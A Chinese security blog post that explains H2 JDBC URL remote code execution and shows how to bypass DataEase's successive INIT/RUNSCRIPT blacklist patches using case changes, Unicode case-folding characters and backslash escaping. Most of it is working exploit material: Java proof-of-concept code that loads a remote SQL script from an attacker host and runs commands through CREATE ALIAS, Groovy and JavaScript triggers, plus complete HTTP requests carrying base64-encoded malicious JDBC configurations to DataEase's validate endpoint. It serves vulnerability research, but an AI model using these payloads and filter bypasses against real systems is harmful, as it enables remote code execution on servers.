从零开始的H2 JDBC url bypass之旅

JDBC简介

JDBC(Java Database Connectivity)是 Java 语言中访问数据库的标准 API,它允许我们通过统一的方式连接各种数据库(如 MySQL、PostgreSQL、SQLite、Oracle、H2 等),执行 SQL 查询和更新数据。

核心流程是:

  1. 加载数据库驱动
  2. 建立数据库连接(Connection
  3. 创建执行语句(StatementPreparedStatement
  4. 执行 SQL(executeQuery / executeUpdate
  5. 处理结果(ResultSet
  6. 关闭资源

比如我本地现在有一个mysql的服务,我们就可以使用JDBC操作我们的数据库,首先去装一个依赖mysql-connector-j-8.3.0.jar,然后我们在本地插入一张 users 表,然后插入两条数据:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class JDBCMySQLExample {
  public static void main(String[] args) {
      // JDBC连接信息
      String url = "jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC";
      String username = "root";
      String password = "root";

      try {
          // 加载MySQL JDBC驱动
          Class.forName("com.mysql.cj.jdbc.Driver");

          // 连接数据库
          Connection conn = DriverManager.getConnection(url, username, password);

          // 创建 Statement
          Statement stmt = conn.createStatement();

          // 创建表(如果已存在则先删除)
          stmt.executeUpdate("DROP TABLE IF EXISTS users");
          stmt.executeUpdate("CREATE TABLE users (id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50), age INT)");

          // 插入数据
          stmt.executeUpdate("INSERT INTO users (name, age) VALUES ('Alice', 23)");
          stmt.executeUpdate("INSERT INTO users (name, age) VALUES ('Bob', 30)");

          // 查询数据
          ResultSet rs = stmt.executeQuery("SELECT * FROM users");
          while (rs.next()) {
              int id = rs.getInt("id");
              String name = rs.getString("name");
              int age = rs.getInt("age");
              System.out.println("User: " + id + " - " + name + " - " + age);
          }

          // 关闭资源
          rs.close();
          stmt.close();
          conn.close();

      } catch (Exception e) {
          e.printStackTrace();
      }
  }
}

可以在数据库看到我们的执行结果,确实执行成功了:

img

H2 JDBC RCE

H2 是一个用 Java 编写的轻量级关系型数据库,支持内存(mem:)和文件(file:)两种模式,常用于开发、测试或嵌入式应用中。它支持标准 SQL 和 JDBC 接口,可独立运行也可作为库嵌入 Java 应用,具有体积小、启动快、易集成等优点。

存在javac的环境

但对于我们攻击者而言,它最大的优点就是在连接的时候,我们可以通过设置 INIT=RUNSCRIPT 语法让系统加载远程恶意脚本,最终导致服务端执行任意 Java 代码,达到 RCE,比如:

INIT=RUNSCRIPT FROM 'http://attacker/poc.sql'

那么初始化的时候,就会加载并执行指定 URL 返回的 SQL 脚本,而在 H2 数据库中,我们可以使用 CREATE ALIAS 来定义一个 Java 方法,然后通过 CALL 来执行这个方法,格式如下:

CREATE ALIAS EXEC AS $$
void shellexec() throws java.io.IOException {
  // Java代码...
}
$$;
CALL EXEC();

比如我们可以写一个弹计算器的脚本,那么连接的时候就会弹计算器:

CREATE ALIAS EXEC AS $$
void shellexec() throws java.io.IOException {
  Runtime.getRuntime().exec("calc");
}
$$;
CALL EXEC();

我们在本地用python起一个服务放上这个恶意脚本:

python -m http.server 7777
img

接着模拟被攻击者来触发这个代码,注意需要安一下依赖(我这里使用的是h2-2.2.224.jar),成功RCE:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class H2RCE_normal {
  public static void main(String[] args) throws Exception {
      // H2 JDBC URL,关键点是 INIT=RUNSCRIPT FROM <http-url>
      String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/poc.sql'";
      Connection conn = DriverManager.getConnection(url);

  }
}
img

事实上这里也可以不出网的执行,不一定非要外接sql文件,只需要多转义几次即可:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class H2RCE {
    public static void main(String[] args) throws Exception {
        String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc.exe')\\;";
        Connection conn = DriverManager.getConnection(url, "", "");
    }
}

除此之外,x1r0z也提到过在没有javac的 JRE 17 环境下的H2 RCE打法:H2 RCE 在 JRE 17 环境下的利用

存在Groovy 依赖

如果存在Groovy 依赖,比如我是:groovy-4.0.24.jar和groovy-sql-4.0.24.jar,可以使用 @groovy.transform.ASTTEST 在 AST 中使用 assert 执行命令:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class H2RCE_Groovy {
  public static void main (String[] args) throws ClassNotFoundException, SQLException {
      String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")" + "})" + "def x";
      String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
      Connection conn = DriverManager.getConnection(url);
      conn.close();
  }
}
img

低版本下利用js执行

除此之外还可以使用js执行,不过版本有要求,比如我换成jdk 1.8.0_65才打通:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class H2RCE_JS {
  public static void main (String[] args) throws ClassNotFoundException, SQLException {
      String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
              "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
              "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
              "$$\n";
      Connection conn = DriverManager.getConnection(JDBC_URL);

  }
}
img

和dataease官方的斗智斗勇

在dataease里就存在一个类似的接口使用了h2 JDBC,因此可以直接RCE,详情可以看到这个dataease的Security,具体而言,就是代码里存在h2的JDBC调用,且参数可控

img

所以在最初的版本里,只需要使用最原始的poc就能rce:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'

不过在2.10.8之后这个洞被修了,我们来看看官方是怎么修的:

img

修法是获取jdbc的字符串,匹配其中是否存在INIT或者RUNSCRIPT🤔🤔,果然是很标准的开发者视角里的黑名单修复法,那么这样的修复法真的能防御住攻击吗?

v2.10.8的补丁

大小写绕过

打一个断点,可以看到H2读取url的逻辑在readSettingsFromURL:

img
private void readSettingsFromURL() {
      DbSettings var1 = DbSettings.DEFAULT;
      int var2 = this.url.indexOf(59);
      if (var2 >= 0) {
          String var3 = this.url.substring(var2 + 1);
          this.url = this.url.substring(0, var2);
          String var4 = null;
          String[] var5 = StringUtils.arraySplit(var3, ';', false);
          String[] var6 = var5;
          int var7 = var5.length;

          for(int var8 = 0; var8 < var7; ++var8) {
              String var9 = var6[var8];
              if (!var9.isEmpty()) {
                  int var10 = var9.indexOf(61);
                  if (var10 < 0) {
                      throw this.getFormatException();
                  }

                  String var11 = var9.substring(var10 + 1);
                  String var12 = var9.substring(0, var10);
                  var12 = StringUtils.toUpperEnglish(var12);
                  if (!isKnownSetting(var12) && !var1.containsKey(var12)) {
                      var4 = var12;
                  } else {
                      String var13 = this.prop.getProperty(var12);
                      if (var13 != null && !var13.equals(var11)) {
                          throw DbException.get(90066, var12);
                      }

                      this.prop.setProperty(var12, var11);
                  }
              }
          }

          if (var4 != null && !Utils.parseBoolean(this.prop.getProperty("IGNORE_UNKNOWN_SETTINGS"), false, false)) {
              throw DbException.get(90113, var4);
          }
      }

  }

可以看到代码里有很关键的一步:var12 = StringUtils.toUpperEnglish(var12),而这个toUpperEnglish底层其实就是toUpperCase:

所以在最后解析url的时候,其实所有参数都被转换成大写了,因此H2的jdbc中的参数其实是大小写不敏感的,那么第一个思路就很自然而然的出现了,那就是转换大小写,现在我们把payload改成:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'

先本地试试能不能打通:

img

能打通,那直接发包:

POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 492
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0luSVQ9clVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMjUvcG9jLnNxbCciLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9"}
img

unicode绕过

常看p神文章的师傅应该知道,javascript中存在一个很神奇的大小写转换特性:Fuzz中的javascript大小写特性,简单来说,字符”ı”转大写之后会变成”I”,字符”ſ”转换大写之后会变成”S”,那么java中是否存在类似的特性呢?

我们试试把这两个字符进行转换,果然真的分别变成了”I”和”S”:

package JDBC;

public class upper {
  public static void main(String[] args) {
      String var1 = "ı";
      String var2 = "ſ";
      System.out.println(var1.toUpperCase().equals("I"));
      System.out.println(var2.toUpperCase().equals("S"));
  }
}
img

这个思路在yulate的议题jdbc trick里其实也提到过:

那么思路二自然就出现了,用拉丁字母对原始的payload进行替换:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;ıNIT=RUNſCRIPT FROM 'http://127.0.0.1:50025/poc.sql'

先本地试试,能打通:

img

那么发包试试:

POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 496
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO8SxTklUPVJVTsW/Q1JJUFQgRlJPTSAnaHR0cDovLzEyNy4wLjAuMTo1MDAyNS9wb2Muc3FsJyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiOiIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0="}
img

v2.10.10的补丁

利用\进行绕过

在 v2.10.10 的时候,dataease官方修复了上面我们提到的绕过方法:

StringUtils.containsAnyIgnoreCase这个方法严格过滤了关键字,我们上面提到的两种绕过方法均失效了:

package JDBC;

import org.apache.commons.lang3.StringUtils;

public class test {
  public static void main(String[] args) throws Exception {
//       String jdbc = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;InIT=rUNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'";
      String jdbc = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;ıNIT=RUNſCRIPT FROM 'http://127.0.0.1:50025/poc.sql'";
      if (StringUtils.containsAnyIgnoreCase(jdbc, "INIT", "RUNSCRIPT")) {
          System.out.println("wrong");
      }else{
          System.out.println("bypass");
      }
  }
}

现在只从大小写入手是绕不过补丁的了,想要bypass还需要继续从底层跟一下h2解析url的逻辑。

再打断点往后跟的时候,我发现了一个有趣的函数:

img

注意到这里:

else if (var7 == '\\' && var6 < var3 - 1) {
      ++var6;
      var5.append(var0.charAt(var6));
}

这句代码的作用其实是:如果遇到转义符 \,则跳过 \ 并把下一个字符添加进去,例如 \; 会当作普通分号,于是我试了试传入一个in\it,然后打断点跟了一下:

img

很有意思,我们的in\it被解析成了init,那么现在一个自然而然的思路出现了,用\进行转义,现在把payload换成:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;I\\NIT=R\\UNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'

本地成功RCE:

img

发包:

POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 500
Origin: http://127.0.0.1:8100
Connection: close
Referer: http://127.0.0.1:8100/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lcXE5JVD1SXFxVTlNDUklQVCBGUk9NICdodHRwOi8vMTI3LjAuMC4xOjUwMDI1L3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="}
img

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇